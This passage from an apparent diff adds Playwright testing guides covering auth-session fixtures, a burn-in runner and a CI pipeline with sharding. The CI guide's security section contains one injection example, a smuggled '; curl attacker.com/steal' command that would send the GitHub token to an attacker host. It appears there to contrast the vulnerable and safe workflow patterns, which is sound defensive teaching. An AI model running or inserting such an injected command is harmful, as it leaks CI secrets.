authStoragePath: process.cwd() + '/playwright/auth-sessions',
debug: true,
});
// Set custom provider (HOW to authenticate)
setAuthProvider(myCustomProvider);
// Optional: pre-fetch token for default user
await authGlobalInit();
}
export default globalSetup;
// Step 2: Create auth fixture
import { test as base } from '@playwright/test';
import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
import myCustomProvider from './custom-auth-provider';
// Register provider early
setAuthProvider(myCustomProvider);
export const test = base.extend(createAuthFixtures());
// Step 3: Use in tests
test('authenticated request', async ({ authToken, request }) => {
const response = await request.get('/api/protected', {
headers: { Authorization: `Bearer ${authToken}` },
});
expect(response.ok()).toBeTruthy();
});
```
**Key Points**:
- Global setup runs once before all tests
- Token fetched once, reused across all tests
- Custom provider defines your auth mechanism
- Order matters: configure, then setProvider, then init
### Example 2: Multi-User Authentication
**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
**Implementation**:
```typescript
import { test } from '../support/auth/auth-fixture';
// Option 1: Per-test user override
test('admin actions', async ({ authToken, authOptions }) => {
// Override default user
authOptions.userIdentifier = 'admin';
const { authToken: adminToken } = await test.step('Get admin token', async () => {
return { authToken }; // Re-fetches with new identifier
});
// Use admin token
const response = await request.get('/api/admin/users', {
headers: { Authorization: `Bearer ${adminToken}` },
});
});
// Option 2: Parallel execution with different users
test.describe.parallel('multi-user tests', () => {
test('user 1 actions', async ({ authToken }) => {
// Uses default user (e.g., 'user1')
});
test('user 2 actions', async ({ authToken, authOptions }) => {
authOptions.userIdentifier = 'user2';
// Uses different token for user2
});
});
```
**Key Points**:
- Override `authOptions.userIdentifier` per test
- Tokens cached separately per user identifier
- Parallel tests isolated with different users
- Worker-specific accounts possible
### Example 3: Ephemeral User Authentication
**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
**Implementation**:
```typescript
import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
import { createTestUser } from '../utils/user-factory';
test('ephemeral user test', async ({ context, page }) => {
// Create temporary user (not persisted)
const ephemeralUser = await createTestUser({
role: 'admin',
permissions: ['delete-users'],
});
// Apply auth directly to browser context
await applyUserCookiesToBrowserContext(context, ephemeralUser);
// Page now authenticated as ephemeral user
await page.goto('/admin/users');
await expect(page.getByTestId('delete-user-btn')).toBeVisible();
// User and token cleaned up after test
});
```
**Key Points**:
- No disk persistence (ephemeral)
- Apply cookies directly to context
- Useful for testing user lifecycle
- Clean up automatic when test ends
### Example 4: Testing Multiple Users in Single Test
**Context**: Testing interactions between users (messaging, sharing, collaboration features).
**Implementation**:
```typescript
test('user interaction', async ({ browser }) => {
// User 1 context
const user1Context = await browser.newContext({
storageState: './auth-sessions/local/user1/storage-state.json',
});
const user1Page = await user1Context.newPage();
// User 2 context
const user2Context = await browser.newContext({
storageState: './auth-sessions/local/user2/storage-state.json',
});
const user2Page = await user2Context.newPage();
// User 1 sends message
await user1Page.goto('/messages');
await user1Page.fill('#message', 'Hello from user 1');
await user1Page.click('#send');
// User 2 receives message
await user2Page.goto('/messages');
await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
// Cleanup
await user1Context.close();
await user2Context.close();
});
```
**Key Points**:
- Each user has separate browser context
- Reference storage state files directly
- Test real-time interactions
- Clean up contexts after test
### Example 5: Worker-Specific Accounts (Parallel Testing)
**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
**Implementation**:
```typescript
// playwright.config.ts
export default defineConfig({
workers: 4, // 4 parallel workers
use: {
// Each worker uses different user
storageState: async ({}, use, testInfo) => {
const workerIndex = testInfo.workerIndex;
const userIdentifier = `worker-${workerIndex}`;
await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
},
},
});
// Tests run in parallel, each worker with its own user
test('parallel test 1', async ({ page }) => {
// Worker 0 uses worker-0 account
await page.goto('/dashboard');
});
test('parallel test 2', async ({ page }) => {
// Worker 1 uses worker-1 account
await page.goto('/dashboard');
});
```
**Key Points**:
- Each worker has isolated user account
- No conflicts in parallel execution
- Token management automatic per worker
- Scales to any number of workers
### Example 6: Pure API Authentication (No Browser)
**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
**Implementation**:
```typescript
// Step 1: Create API-only auth provider (no browser needed)
// playwright/support/api-auth-provider.ts
import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
const apiAuthProvider: AuthProvider = {
getEnvironment: (options) => options.environment || 'local',
getUserIdentifier: (options) => options.userIdentifier || 'api-user',
extractToken: (storageState) => {
// Token stored in localStorage format for disk persistence
const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
return tokenEntry?.value;
},
isTokenExpired: (storageState) => {
const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
if (!expiryEntry) return true;
return Date.now() > parseInt(expiryEntry.value, 10);
},
manageAuthToken: async (request, options) => {
const email = process.env.TEST_USER_EMAIL;
const password = process.env.TEST_USER_PASSWORD;
if (!email || !password) {
throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
}
// Pure API login - no browser!
const response = await request.post('/api/auth/login', {
data: { email, password },
});
if (!response.ok()) {
throw new Error(`Auth failed: ${response.status()}`);
}
const { token, expiresIn } = await response.json();
const expiryTime = Date.now() + expiresIn * 1000;
// Return storage state format for disk persistence
return {
cookies: [],
origins: [
{
origin: process.env.API_BASE_URL || 'http://localhost:3000',
localStorage: [
{ name: 'auth_token', value: token },
{ name: 'token_expiry', value: String(expiryTime) },
],
},
],
};
},
};
export default apiAuthProvider;
// Step 2: Create auth fixture
// playwright/support/fixtures.ts
import { test as base } from '@playwright/test';
import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
import apiAuthProvider from './api-auth-provider';
setAuthProvider(apiAuthProvider);
export const test = base.extend(createAuthFixtures());
// Step 3: Use in tests - token persisted to disk!
// tests/api/authenticated-api.spec.ts
import { test } from '../support/fixtures';
import { expect } from '@playwright/test';
test('should access protected endpoint', async ({ authToken, apiRequest }) => {
// authToken is automatically loaded from disk or fetched if expired
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/me',
headers: { Authorization: `Bearer ${authToken}` },
});
expect(status).toBe(200);
});
test('should create resource with auth', async ({ authToken, apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/orders',
headers: { Authorization: `Bearer ${authToken}` },
body: { items: [{ productId: 'prod-1', quantity: 2 }] },
});
expect(status).toBe(201);
expect(body.id).toBeDefined();
});
```
**Key Points**:
- Token persisted to disk (not in-memory) - survives test reruns
- Provider fetches token once, reuses until expired
- Pure API authentication - no browser context needed
- `authToken` fixture handles disk read/write automatically
- Environment variables validated with clear error message
### Example 7: Service-to-Service Authentication
**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
**Implementation**:
```typescript
// tests/api/service-auth.spec.ts
import { test as base, expect } from '@playwright/test';
import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { mergeTests } from '@playwright/test';
// Validate environment variables at module load
const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
if (!SERVICE_API_KEY) {
throw new Error('SERVICE_API_KEY environment variable is required');
}
if (!INTERNAL_SERVICE_URL) {
throw new Error('INTERNAL_SERVICE_URL environment variable is required');
}
const test = mergeTests(base, apiFixture);
test.describe('Service-to-Service Auth', () => {
test('should authenticate with API key', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/internal/health',
baseUrl: INTERNAL_SERVICE_URL,
headers: { 'X-API-Key': SERVICE_API_KEY },
});
expect(status).toBe(200);
expect(body.status).toBe('healthy');
});
test('should reject invalid API key', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/internal/health',
baseUrl: INTERNAL_SERVICE_URL,
headers: { 'X-API-Key': 'invalid-key' },
});
expect(status).toBe(401);
expect(body.code).toBe('INVALID_API_KEY');
});
test('should call downstream service with propagated auth', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/internal/aggregate-data',
baseUrl: INTERNAL_SERVICE_URL,
headers: {
'X-API-Key': SERVICE_API_KEY,
'X-Request-ID': `test-${Date.now()}`,
},
body: { sources: ['users', 'orders', 'inventory'] },
});
expect(status).toBe(200);
expect(body.aggregatedFrom).toHaveLength(3);
});
});
```
**Key Points**:
- Environment variables validated at module load with clear errors
- API key authentication (simpler than OAuth - no disk persistence needed)
- Test internal/service endpoints
- Validate auth rejection scenarios
- Correlation ID for request tracing
> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
## Custom Auth Provider Pattern
**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
**Minimal provider structure**:
```typescript
import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
const myCustomProvider: AuthProvider = {
getEnvironment: (options) => options.environment || 'local',
getUserIdentifier: (options) => options.userIdentifier || 'default-user',
extractToken: (storageState) => {
// Extract token from your storage format
return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
},
extractCookies: (tokenData) => {
// Convert token to cookies for browser context
return [
{
name: 'auth_token',
value: tokenData,
domain: 'example.com',
path: '/',
httpOnly: true,
secure: true,
},
];
},
isTokenExpired: (storageState) => {
// Check if token is expired
const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
return Date.now() > parseInt(expiresAt?.value || '0');
},
manageAuthToken: async (request, options) => {
// Main token acquisition logic
// Return storage state with cookies/localStorage
},
};
export default myCustomProvider;
```
## Integration with API Request
```typescript
import { test } from '@seontechnologies/playwright-utils/fixtures';
test('authenticated API call', async ({ apiRequest, authToken }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/protected',
headers: { Authorization: `Bearer ${authToken}` },
});
expect(status).toBe(200);
});
```
## Related Fragments
- `api-testing-patterns.md` - Pure API testing patterns (no browser)
- `overview.md` - Installation and fixture composition
- `api-request.md` - Authenticated API requests
- `fixtures-composition.md` - Merging auth with other utilities
## Anti-Patterns
**❌ Calling setAuthProvider after globalSetup:**
```typescript
async function globalSetup() {
configureAuthSession(...)
await authGlobalInit() // Provider not set yet!
setAuthProvider(provider) // Too late
}
```
**✅ Register provider before init:**
```typescript
async function globalSetup() {
authStorageInit()
configureAuthSession(...)
setAuthProvider(provider) // First
await authGlobalInit() // Then init
}
```
**❌ Hardcoding storage paths:**
```typescript
const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
```
**✅ Use helper functions:**
```typescript
import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
const tokenPath = getTokenFilePath({
environment: 'local',
userIdentifier: 'user1',
tokenFileName: 'storage-state.json',
});
```

View File

@@ -0,0 +1,273 @@
# Burn-in Test Runner
## Principle
Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
## Rationale
Playwright's `--only-changed` triggers all affected tests:
- Config file changes trigger hundreds of tests
- Type definition changes cause full suite runs
- No volume control (all or nothing)
- Slow CI pipelines
The `burn-in` utility provides:
- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
- **Volume control**: Run percentage of affected tests after filtering
- **Custom dependency analysis**: More accurate than Playwright's built-in
- **CI optimization**: Faster pipelines without sacrificing confidence
- **Process of elimination**: Start with all → filter irrelevant → control volume
## Pattern Examples
### Example 1: Basic Burn-in Setup
**Context**: Run burn-in on changed files compared to main branch.
**Implementation**:
```typescript
// Step 1: Create burn-in script
// playwright/scripts/burn-in-changed.ts
import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
async function main() {
await runBurnIn({
configPath: 'playwright/config/.burn-in.config.ts',
baseBranch: 'main'
})
}
main().catch(console.error)
// Step 2: Create config
// playwright/config/.burn-in.config.ts
import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
const config: BurnInConfig = {
// Files that never trigger tests (first filter)
skipBurnInPatterns: [
'**/config/**',
'**/*constants*',
'**/*types*',
'**/*.md',
'**/README*'
],
// Run 30% of remaining tests after skip filter
burnInTestPercentage: 0.3,
// Burn-in repetition
burnIn: {
repeatEach: 3, // Run each test 3 times
retries: 1 // Allow 1 retry
}
}
export default config
// Step 3: Add package.json script
{
"scripts": {
"test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
}
}
```
**Key Points**:
- Two-stage filtering: skip patterns, then volume control
- `skipBurnInPatterns` eliminates irrelevant files
- `burnInTestPercentage` controls test volume (0.3 = 30%)
- Custom dependency analysis finds actually affected tests
### Example 2: CI Integration
**Context**: Use burn-in in GitHub Actions for efficient CI runs.
**Implementation**:
```yaml
# .github/workflows/burn-in.yml
name: Burn-in Changed Tests
on:
pull_request:
branches: [main]
jobs:
burn-in:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # Need git history
- name: Setup Node
uses: actions/setup-node@v4
- name: Install dependencies
run: npm ci
- name: Run burn-in on changed tests
run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
- name: Upload artifacts
if: failure()
uses: actions/upload-artifact@v4
with:
name: burn-in-failures
path: test-results/
```
**Key Points**:
- `fetch-depth: 0` for full git history
- Pass `--base-branch=origin/main` for PR comparison
- Upload artifacts only on failure
- Significantly faster than full suite
### Example 3: How It Works (Process of Elimination)
**Context**: Understanding the filtering pipeline.
**Scenario:**
```
Git diff finds: 21 changed files
├─ Step 1: Skip patterns filter
│ Removed: 6 files (*.md, config/*, *types*)
│ Remaining: 15 files
├─ Step 2: Dependency analysis
│ Tests that import these 15 files: 45 tests
└─ Step 3: Volume control (30%)
Final tests to run: 14 tests (30% of 45)
Result: Run 14 targeted tests instead of 147 with --only-changed!
```
**Key Points**:
- Three-stage pipeline: skip → analyze → control
- Custom dependency analysis (not just imports)
- Percentage applies AFTER filtering
- Dramatically reduces CI time
### Example 4: Environment-Specific Configuration
**Context**: Different settings for local vs CI environments.
**Implementation**:
```typescript
import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
const config: BurnInConfig = {
skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
// CI runs fewer iterations, local runs more
burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
burnIn: {
repeatEach: process.env.CI ? 2 : 3,
retries: process.env.CI ? 0 : 1, // No retries in CI
},
};
export default config;
```
**Key Points**:
- `process.env.CI` for environment detection
- Lower percentage in CI (20% vs 30%)
- Fewer iterations in CI (2 vs 3)
- No retries in CI (fail fast)
### Example 5: Sharding Support
**Context**: Distribute burn-in tests across multiple CI workers.
**Implementation**:
```typescript
// burn-in-changed.ts with sharding
import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
async function main() {
const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
if (shardArg) {
process.env.PW_SHARD = shardArg.split('=')[1];
}
await runBurnIn({
configPath: 'playwright/config/.burn-in.config.ts',
});
}
```
```yaml
# GitHub Actions with sharding
jobs:
burn-in:
strategy:
matrix:
shard: [1/3, 2/3, 3/3]
steps:
- run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
```
**Key Points**:
- Pass `--shard=1/3` for parallel execution
- Burn-in respects Playwright sharding
- Distribute across multiple workers
- Reduces total CI time further
## Integration with CI Workflow
When setting up CI with `*ci` workflow, recommend burn-in for:
- Pull request validation
- Pre-merge checks
- Nightly builds (subset runs)
## Related Fragments
- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
- `selective-testing.md` - Test selection strategies
- `overview.md` - Installation
## Anti-Patterns
**❌ Over-aggressive skip patterns:**
```typescript
skipBurnInPatterns: [
'**/*', // Skips everything!
];
```
**✅ Targeted skip patterns:**
```typescript
skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
```
**❌ Too low percentage (false confidence):**
```typescript
burnInTestPercentage: 0.05; // Only 5% - might miss issues
```
**✅ Balanced percentage:**
```typescript
burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
```

View File

@@ -0,0 +1,717 @@
# CI Pipeline and Burn-In Strategy
## Principle
CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
## Rationale
CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
## Security: Script Injection Prevention
**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
### Vulnerable vs Safe Pattern
```yaml
# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
- name: Run tests
run: |
npx playwright test --grep "${{ inputs.test_ids }}"
# ✅ SAFE — env var cannot break out of shell quoting
- name: Run tests
env:
TEST_IDS: ${{ inputs.test_ids }}
run: |
npx playwright test --grep "$TEST_IDS"
```
### Unsafe Contexts (require env: intermediary)
- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
- `${{ github.head_ref }}` — PR source branch name (user-controlled)
**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
### Safe Contexts (safe from GitHub expression injection in run: blocks)
- `${{ steps.*.outputs.* }}` — pre-computed by your own code
- `${{ matrix.* }}` — defined in workflow YAML
- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
- `${{ secrets.* }}` — secret store, not user-injectable
- `${{ env.* }}` — already an env var
> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
---
## Pattern Examples
### Example 1: GitHub Actions Workflow with Parallel Execution
**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
**Implementation**:
```yaml
# .github/workflows/e2e-tests.yml
name: E2E Tests
on:
pull_request:
push:
branches: [main, develop]
env:
NODE_VERSION_FILE: '.nvmrc'
CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
jobs:
install-dependencies:
name: Install & Cache Dependencies
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version-file: ${{ env.NODE_VERSION_FILE }}
cache: 'npm'
- name: Cache node modules
uses: actions/cache@v4
id: npm-cache
with:
path: |
~/.npm
node_modules
~/.cache/Cypress
~/.cache/ms-playwright
key: ${{ env.CACHE_KEY }}
restore-keys: |
${{ runner.os }}-node-
- name: Install dependencies
if: steps.npm-cache.outputs.cache-hit != 'true'
run: npm ci --prefer-offline --no-audit
- name: Install Playwright browsers
if: steps.npm-cache.outputs.cache-hit != 'true'
run: npx playwright install --with-deps chromium
test-changed-specs:
name: Test Changed Specs First (Burn-In)
needs: install-dependencies
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0 # Full history for accurate diff
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version-file: ${{ env.NODE_VERSION_FILE }}
cache: 'npm'
- name: Restore dependencies
uses: actions/cache@v4
with:
path: |
~/.npm
node_modules
~/.cache/ms-playwright
key: ${{ env.CACHE_KEY }}
- name: Detect changed test files
id: changed-tests
run: |
CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
echo "Changed specs: ${CHANGED_SPECS}"
- name: Run burn-in on changed specs (10 iterations)
if: steps.changed-tests.outputs.changed_specs != ''
run: |
SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
echo "Running burn-in: 10 iterations on changed specs"
for i in {1..10}; do
echo "Burn-in iteration $i/10"
npm run test -- $SPECS || {
echo "❌ Burn-in failed on iteration $i"
exit 1
}
done
echo "✅ Burn-in passed - 10/10 successful runs"
- name: Upload artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: burn-in-failure-artifacts
path: |
test-results/
playwright-report/
screenshots/
retention-days: 7
test-e2e-sharded:
name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
needs: [install-dependencies, test-changed-specs]
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false # Run all shards even if one fails
matrix:
shard: [1, 2, 3, 4]
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version-file: ${{ env.NODE_VERSION_FILE }}
cache: 'npm'
- name: Restore dependencies
uses: actions/cache@v4
with:
path: |
~/.npm
node_modules
~/.cache/ms-playwright
key: ${{ env.CACHE_KEY }}
- name: Run E2E tests (shard ${{ matrix.shard }})
run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
env:
TEST_ENV: staging
CI: true
- name: Upload test results
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-shard-${{ matrix.shard }}
path: |
test-results/
playwright-report/
retention-days: 30
- name: Upload JUnit report
if: always()
uses: actions/upload-artifact@v4
with:
name: junit-results-shard-${{ matrix.shard }}
path: test-results/junit.xml
retention-days: 30
merge-test-results:
name: Merge Test Results & Generate Report
needs: test-e2e-sharded
runs-on: ubuntu-latest
if: always()
steps:
- name: Download all shard results
uses: actions/download-artifact@v4
with:
pattern: test-results-shard-*
path: all-results/
- name: Merge HTML reports
run: |
npx playwright merge-reports --reporter=html all-results/
echo "Merged report available in playwright-report/"
- name: Upload merged report
uses: actions/upload-artifact@v4
with:
name: merged-playwright-report
path: playwright-report/
retention-days: 30
- name: Comment PR with results
if: github.event_name == 'pull_request'
uses: daun/playwright-report-comment@v3
with:
report-path: playwright-report/
```
**Key Points**:
- **Install once, reuse everywhere**: Dependencies cached across all jobs
- **Burn-in first**: Changed specs run 10x before full suite
- **Fail-fast disabled**: All shards run to completion for full evidence
- **Parallel execution**: 4 shards cut execution time by ~75%
- **Artifact retention**: 30 days for reports, 7 days for failure debugging
---
### Example 2: Burn-In Loop Pattern (Standalone Script)
**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
**Implementation**:
```bash
#!/bin/bash
# scripts/burn-in-changed.sh
# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
set -e # Exit on error
# Configuration
ITERATIONS=${1:-10}
BASE_BRANCH=${2:-main}
SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
echo "🔥 Burn-In Test Runner"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Iterations: $ITERATIONS"
echo "Base branch: $BASE_BRANCH"
echo ""
# Detect changed test files
echo "📋 Detecting changed test files..."
CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
if [ -z "$CHANGED_SPECS" ]; then
echo "✅ No test files changed. Skipping burn-in."
exit 0
fi
echo "Changed test files:"
echo "$CHANGED_SPECS" | sed 's/^/ - /'
echo ""
# Count specs
SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
echo "Running burn-in on $SPEC_COUNT test file(s)..."
echo ""
# Burn-in loop
FAILURES=()
for i in $(seq 1 $ITERATIONS); do
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "🔄 Iteration $i/$ITERATIONS"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
# Run tests with explicit file list
if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
echo "✅ Iteration $i passed"
else
echo "❌ Iteration $i failed"
FAILURES+=($i)
# Save failure artifacts
mkdir -p burn-in-failures/iteration-$i
cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
echo ""
echo "🛑 BURN-IN FAILED on iteration $i"
echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
echo "Logs saved to: burn-in-log-$i.txt"
echo ""
exit 1
fi
echo ""
done
# Success summary
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "🎉 BURN-IN PASSED"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
echo "Changed specs are stable and ready to merge."
echo ""
# Cleanup logs
rm -f burn-in-log-*.txt
exit 0
```
**Usage**:
```bash
# Run locally with default settings (10 iterations, compare to main)
./scripts/burn-in-changed.sh
# Custom iterations and base branch
./scripts/burn-in-changed.sh 20 develop
# Add to package.json
{
"scripts": {
"test:burn-in": "bash scripts/burn-in-changed.sh",
"test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
}
}
```
**Key Points**:
- **Exit on first failure**: Flaky tests caught immediately
- **Failure artifacts**: Saved per-iteration for debugging
- **Flexible configuration**: Iterations and base branch customizable
- **CI/local parity**: Same script runs in both environments
- **Clear output**: Visual feedback on progress and results
---
### Example 3: Shard Orchestration with Result Aggregation
**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
**Implementation**:
```javascript
// scripts/run-sharded-tests.js
const { spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
/**
* Run tests across multiple shards and aggregate results
* Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
*/
const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
const TEST_ENV = process.env.TEST_ENV || 'local';
const RESULTS_DIR = path.join(__dirname, '../test-results');
console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
console.log(`Environment: ${TEST_ENV}`);
console.log('━'.repeat(50));
// Ensure results directory exists
if (!fs.existsSync(RESULTS_DIR)) {
fs.mkdirSync(RESULTS_DIR, { recursive: true });
}
/**
* Run a single shard
*/
function runShard(shardIndex) {
return new Promise((resolve, reject) => {
const shardId = `${shardIndex}/${SHARD_COUNT}`;
console.log(`\n📦 Starting shard ${shardId}...`);
const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
stdio: 'pipe',
});
let stdout = '';
let stderr = '';
child.stdout.on('data', (data) => {
stdout += data.toString();
process.stdout.write(data);
});
child.stderr.on('data', (data) => {
stderr += data.toString();
process.stderr.write(data);
});
child.on('close', (code) => {
// Save shard results
const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
try {
const result = JSON.parse(stdout);
fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
resolve({ shardIndex, code, result });
} catch (error) {
console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
reject({ shardIndex, code, error });
}
});
child.on('error', (error) => {
console.error(`❌ Shard ${shardId} process error:`, error.message);
reject({ shardIndex, error });
});
});
}
/**
* Aggregate results from all shards
*/
function aggregateResults() {
console.log('\n📊 Aggregating results from all shards...');
const shardResults = [];
let totalTests = 0;
let totalPassed = 0;
let totalFailed = 0;
let totalSkipped = 0;
let totalFlaky = 0;
for (let i = 1; i <= SHARD_COUNT; i++) {
const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
if (fs.existsSync(resultFile)) {
const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
shardResults.push(result);
// Aggregate stats
totalTests += result.stats?.expected || 0;
totalPassed += result.stats?.expected || 0;
totalFailed += result.stats?.unexpected || 0;
totalSkipped += result.stats?.skipped || 0;
totalFlaky += result.stats?.flaky || 0;
}
}
const summary = {
totalShards: SHARD_COUNT,
environment: TEST_ENV,
totalTests,
passed: totalPassed,
failed: totalFailed,
skipped: totalSkipped,
flaky: totalFlaky,
duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
timestamp: new Date().toISOString(),
};
// Save aggregated summary
fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
console.log('\n━'.repeat(50));
console.log('📈 Test Results Summary');
console.log('━'.repeat(50));
console.log(`Total tests: ${totalTests}`);
console.log(`✅ Passed: ${totalPassed}`);
console.log(`❌ Failed: ${totalFailed}`);
console.log(`⏭️ Skipped: ${totalSkipped}`);
console.log(`⚠️ Flaky: ${totalFlaky}`);
console.log(`⏱️ Duration: ${(summary.duration / 1000).toFixed(2)}s`);
console.log('━'.repeat(50));
return summary;
}
/**
* Main execution
*/
async function main() {
const startTime = Date.now();
const shardPromises = [];
// Run all shards in parallel
for (let i = 1; i <= SHARD_COUNT; i++) {
shardPromises.push(runShard(i));
}
try {
await Promise.allSettled(shardPromises);
} catch (error) {
console.error('❌ One or more shards failed:', error);
}
// Aggregate results
const summary = aggregateResults();
const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
console.log(`\n⏱ Total execution time: ${totalTime}s`);
// Exit with failure if any tests failed
if (summary.failed > 0) {
